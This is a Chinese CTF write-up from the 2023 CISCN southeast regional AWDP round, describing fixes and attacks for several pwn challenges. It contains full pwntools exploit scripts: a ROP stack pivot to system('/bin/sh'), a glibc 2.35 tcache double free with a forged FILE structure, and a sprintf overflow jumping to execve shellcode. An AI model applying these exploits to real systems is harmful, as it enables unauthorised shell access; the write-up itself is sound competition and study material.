Skip to content

2023Ciscn华东南分区赛

· 1,515 字 · wp

前言#

第一次打awdp赛制的比赛 对于fix和attack节奏的把控有了一些理解 还学到了一点fix的小技巧 当然attack的题目也学到了很多东西 来做一个总结

login#

image-20230625135143266

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[240]; // [rsp+10h] [rbp-F0h] BYREF
sub_4011FB(a1, a2, a3);
sub_40127B();
puts("Welcome to CISCN 2023!");
puts("Enter your password:");
read(0, buf, 0x90uLL);
puts("Login failed...");
puts("Try again!");
puts("Enter your password:");
read(0, &unk_404060, 0x90uLL);
return 0LL;
}

可以溢出0x10字节 同时可以往bss段写入数据 说实话 这种考点是我玩剩下的 出过很多这种类型的题目 这题很快就拿下了

由于read函数的rsi是通过rbp寄存器来索引的 我们只需要覆盖rbp为bss段地址 随后控制retaddr为read函数的参数赋值起始地址 就可以达成任意写 随后就是往bss段上写rop链泄露libc地址 然后利用pop rbp继续控制rbp的地址 然后再次跳转实现任意写 最后构造system

from pwn import*
from ctypes import *
#io = process("./pwn")
io = remote("175.20.26.11",9999)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()
io.recvuntil("Enter your password:")
bss_addr = elf.bss(0x800)
ptr_addr = 0x401316
rdi_addr = 0x00000000004013d3
leave_addr = 0x000000000040136e
ret_addr = 0x000000000040101a
rbp_addr = 0x00000000004011bd
puts_got = elf.got['puts']
puts_plt = elf.sym['puts']
payload = cyclic(0xf0)+p64(bss_addr+0xf0)+p64(ptr_addr)
io.send(payload)
io.recvuntil("Enter your password:")
payload = b'aaaa'
# gdb.attach(io,'b *0x40136F')
# pause(0)
io.send(payload)
# pause()
payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(rbp_addr)+p64(elf.bss(0xbf8))+p64(ptr_addr)+p64(rbp_addr)
payload = payload.ljust(0xf0,b'\x00')+p64(bss_addr-0x8)+p64(leave_addr)
io.send(payload)
payload = b'aaaa'
io.send(payload)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
success("libc_addr :"+hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
payload = p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
payload = payload.ljust(0xf0,b'\x00')+p64(elf.bss(0xb00))+p64(leave_addr)
io.send(payload)
payload = b'aaaa'
# gdb.attach(io,'b *0x40136F')
# pause(0)
io.send(payload)
# pause()
io.interactive()

wargame#

这题的代码量很大 需要慢慢审计 最后是在adjust weapon中 发现了一个函数可以往堆地址写入数据 并且是用for循环来的

将for循环的次数修改为0次后就通过了check

char __fastcall sub_2E18(__int64 a1)
{
char result; // al
int i; // [rsp+1Ch] [rbp-4h]
if ( dword_81E4 )
return puts("Error.");
result = printf("Info: ");
for ( i = 0; i <= 9; ++i )
{
result = sub_15FF(a1 + 16 + 32 * i + 16LL, 16LL) == 0;
if ( result )
break;
}
dword_81E4 = 1;
return result;
}

notepad#

2.35的一道堆 存在UAF漏洞

int sub_16B0()
{
int result; // eax
char *v1; // rbx
__printf_chk(1LL, "page: ");
result = choice();
if ( result <= 0xE )
{
v1 = &unk_4040 + 16 * result;
if ( *v1 )
{
free(*v1);
*(v1 + 2) = 0;
result = puts("Success~");
}
}
return result;
}

置零的是存放size的指针 将其修改为v1 置零堆块指针即可成功fix

attack的话 这题除了UAF之外 edit函数中还存在一个漏洞

int sub_1790()
{
unsigned int v0; // eax
char *v1; // rbx
__printf_chk(1LL, "page: ");
v0 = choice();
if ( v0 > 0xE )
return puts("The notepad don't have this page!");
v1 = &unk_4040 + 16 * v0;
if ( !*v1 )
return puts("The notepad don't have this page!");
**v1 = 0LL;
if ( !*(v1 + 2) )
return puts("The notepad don't have this page!");
__printf_chk(1LL, "date: ");
sub_13E0(*v1);
__printf_chk(1LL, "content: ");
return sub_13E0((*v1 + 16LL));
}

可以看到在检查size指针之前 就对chunk的前0x10字节清空了 这意味着我们可以在释放chunk到tcachebin后 借此来清空key域 以此来实现double free

随后就是2.35的io链利用

from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("175.20.26.10",9999)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()
def add(size,data,payload):
io.recvuntil(">> ")
io.sendline(b'1')
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("date: ")
io.sendline(data)
io.recvuntil("content: ")
io.sendline(payload)
def show(index):
io.recvuntil(">> ")
io.sendline(b'2')
io.recvuntil("page: ")
io.sendline(str(index))
def delete(index):
io.recvuntil(">> ")
io.sendline(b'3')
io.recvuntil("page: ")
io.sendline(str(index))
def edit(index):
io.recvuntil(">> ")
io.sendline(b'4')
io.recvuntil("page: ")
io.sendline(str(index))
for i in range(8):
add(0x80,b'aaaa',b'aaaa')
delete(1)
show(1)
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))>>8
success("heap_addr :"+hex(heap_addr))
for i in range(6):
delete(i+2)
delete(0)
show(0)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x219ce0
success("libc_addr :"+hex(libc_addr))
add(0xf0,'aaaa','aaaa')
add(0xf0,'aaaa','aaaa')
delete(9)
delete(8)
edit(8)
delete(8)
stderr_addr = libc_addr + libc.sym['stderr']
key = heap_addr
success("key:"+hex(key))
# ptr_addr = libc_addr + 0x2282c0
# success(hex(ptr_addr))
# add(0xf0,p64(key^ptr_addr),'aaaa')
# add(0xf0,'aaaa','aaaa')
# success(hex(ptr_addr))
# fake_addr = (heap_addr*0x1000)
# fake_addr += 0x9b0
# dyn_addr = libc_addr + 0x218bc0
# a_addr = libc_addr + 0x265890
# b_addr = libc_addr + 0x2282b0
# add(0xf0,p64(dyn_addr)+p64(fake_addr),p64(a_addr)+p64(b_addr))
# onegadget_addr = libc_addr
# payload = p64(0)*3 + p64(fake_addr)
# payload = payload.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(onegadget_addr)
# payload = payload.ljust(0x100,b'\x00')+p64(fake_addr+0x40)
# payload = payload.ljust(0x110,b'\x00')+p64(fake_addr+0x48)
# payload = payload.ljust(0x31c-0x10,b'\x00')+p64(0x1c)
# add(0x100,payload,p64(0))
# success(hex(fake_addr))
# debug()
# chunk_addr = (heap_addr*0x1000)+0x7a0
gadget_addr = libc_addr + 0x00000000001675b0
setcontext_addr = libc_addr + libc.sym['setcontext']+61
rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret")))
rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret")))
rdx_r12_addr = libc_addr + 0x000000000011f497
ret_addr = libc_addr + 0x0000000000029cd6
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
system_addr = libc_addr + libc.sym['system']
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
io_lock = libc_addr + 0x21ba60
_IO_wfile_jumps = libc_addr + libc.sym['_IO_wfile_jumps']
system_addr = libc_addr + libc.sym['system']
heap_addr = heap_addr *0x1000
fake_FILE_addr = heap_addr + 0x9d0
wide = heap_addr + 0xaf0
fake_FILE = b'/bin/sh\x00'
fake_FILE += p64(0)*13
fake_FILE += p64(2) + p64(0xffffffffffffffff)
fake_FILE += p64(00) + p64(io_lock)
fake_FILE += p64(0xffffffffffffffff) + p64(0)
fake_FILE += p64(wide) + p64(0)
fake_FILE += p64(0)*2
fake_FILE += p64(1)
fake_FILE += p64(0)*2 + p64(_IO_wfile_jumps+0x30)
add(0x100,'aaaa', fake_FILE+b'\n') #10
fake_FILE2 = p64(0)*2 + p64(1) + p64(2)+p64(3)
fake_FILE2 += p64(0)*22 + p64(wide+0xe8-0x18)
fake_FILE2 += p64(wide+0xe8-0x18)+p64(system_addr)
add(0x100,'aaaa', fake_FILE2+b'\n') #11
IO_list_all = libc_addr + libc.sym['_IO_list_all']
add(0xf0, p64(key^IO_list_all),'1') #12
add(0xf0,'aaaa','aaaa') #13
add(0xf0, p64(fake_FILE_addr),'aaaa') #14
io.recvuntil(">> ")
# gdb.attach(io,'b *$rebase(0x1212)')
# pause(0)
io.sendline(b'5')
io.interactive()

masknote#

__int64 vuln()
{
__int64 result; // rax
char s[128]; // [rsp+0h] [rbp-80h] BYREF
memset(s, 0, sizeof(s));
printf("\x1B[0;34mNice to meet you!\n\x1B[0m");
printf("\x1B[0;32myour name:\x1B[0m");
read(0, name, 0x80uLL);
printf("\x1B[0;32mMask:\x1B[0m");
read(0, Mask, 0x64uLL);
check_Mask(Mask);
sprintf(s, Mask, name);
printf("\x1B[0;32myour Masked name:\x1B[0m");
write(1, s, 0x80uLL);
printf("\x1B[1;33mWelcome!\n\x1B[0m");
while ( 1 )
{
menu();
__isoc99_scanf("%d", &choice);
result = (unsigned int)choice;
if ( choice == 5 )
break;
switch ( choice )
{
case 1:
add();
break;
case 2:
show();
break;
case 3:
edit();
break;
case 4:
delete();
break;
}
}
return result;
}

看起来像一道堆题 但是实际是sprintf函数的利用 其如果使用%c可以打印空字符 就存在栈溢出 但是由于不能读入\x00 所以只能覆盖retaddr 由于开局mmap了一个地址 权限是可写可读可执行 所以我们可以往其写入shellcode 随后利用栈溢出修改retaddr

from pwn import*
from ctypes import *
#io = process("./pwn")
io = remote("175.20.26.208",9999)
elf = ELF("./pwn")
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)
pause()
def add(index,size):
io.recvuntil("Your choice:>>")
io.sendline(b'1')
io.recvuntil("Idx:")
io.sendline(str(index))
io.recvuntil("Size:")
io.sendline(str(size))
def show(index):
io.recvuntil("Your choice:>>")
io.sendline(b'2')
io.recvuntil("Idx:")
io.sendline(str(index))
def edit(index,payload):
io.recvuntil("Your choice:>>")
io.sendline(b'3')
io.recvuntil("Idx:")
io.sendline(str(index))
io.recvuntil("context: ")
io.send(payload)
def delete(index):
io.recvuntil("Your choice:>>")
io.sendline(b'4')
io.recvuntil("Idx:")
io.sendline(str(index))
io.recvuntil("your name:")
io.send(b'aaaaaaaa'+b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05')
io.recvuntil("Mask:")
# gdb.attach(io,'b *0x401813')
# pause(0)
leave_ret = 0x0000000000401392
#0x50a37
#4017A1
payload = b'aa%34$s%126caa'+b'\x08\x80\x80\x80'
io.send(payload)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x2652e0
success("libc_addr :"+hex(libc_addr))
# pause()
io.recvuntil("Your choice:>>")
# gdb.attach(io,'b *0x4018EE')
# pause(0)
io.sendline(b'5')
# pause()
io.interactive()
# io.send('aaa')
# io.recvuntil("Mask:")
# onegadget_addr = libc_addr + 0xebd52
# gets_addr = libc_addr + libc.sym['gets']
# payload = b'%110caaaaaaaaaaaaaaaaaa'+cyclic(0x8)+p64(gets_addr)
# # gdb.attach(io,'b *0x4017FD')
# # pause(0)
# io.send(payload)
# # pause()
# gdb.attach(io,'b *0x4018EE')
# pause(0)
# io.sendline(b'5')
# pause()

dbgnote#

这题fix的关键是溢出 经过代码审计发现有两处地方分别存在2字节溢出和1字节溢出 位于username的读入和chunk size的读入

将其修改为无溢出即可通过check

image-20230626122911239

image-20230626123020330